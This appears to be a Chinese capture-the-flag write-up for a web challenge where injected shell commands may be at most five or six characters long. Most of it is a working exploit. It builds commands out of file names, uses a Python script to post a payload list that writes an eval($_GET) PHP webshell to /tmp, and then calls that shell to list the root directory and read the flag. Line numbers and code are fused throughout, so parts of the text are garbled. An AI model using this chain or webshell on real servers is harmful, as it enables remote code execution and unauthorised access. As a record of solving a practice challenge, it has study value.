题目链接
输入command,提交后跳转到post.phpPOST cmd尝试多次发现命令最长长度只能为6 成功执行会提示在./tmp/下成功执行虽然有的情况下提示执行失败,但实际上是执行了的 所以回显不一定可信
./tmp/
12
>nl # 创建一个名为nl的文件* /*>a # 第一个*相当于将ls的第一个输出作为命令 剩下的作为参数来执行 即 nl /*>a
前置知识
1234567
>file # 生成名为file的文件*>a # 将ls的第一个输出作为命令 剩下的作为参数来执行sh a # 将文件内容作为命令执行# 换行执行命令:ech\o\xxx
例(空文件夹下)
1234567891011121314
>dir>sl>ht->f\>ls# dir 'f>' ht- sl*>v# v: f> ht- sl>rev*v>0# 0: ls -th >fsh 0cat f# 0 rev v ....
123456789101112131415161718192021222324252627282930313233343536
import requestsurl="http://node5.anna.nssctf.cn:28362/post.php"with open("5字符RCE.txt", "r") as f: for i in f: data = {"cmd": f"{i.strip()}"} requests.post(url=url,data=data)5字符RCE.txt(写入1.php 木马GET[1])>dir>sl>ht->f\>*>v>rev*v>0>hp>1.p\\>d\>\\>\ -\\>e64\\>bas\\>7\|\\>XSk\\>Fsx\\>dFV\\>kX0\\>bCg\\>XZh\\>AgZ\\>waH\\>PD9\\>o\ \\>ech\\sh 0sh f
1
/tmp/1.php?1=system('ls /;cat /flag');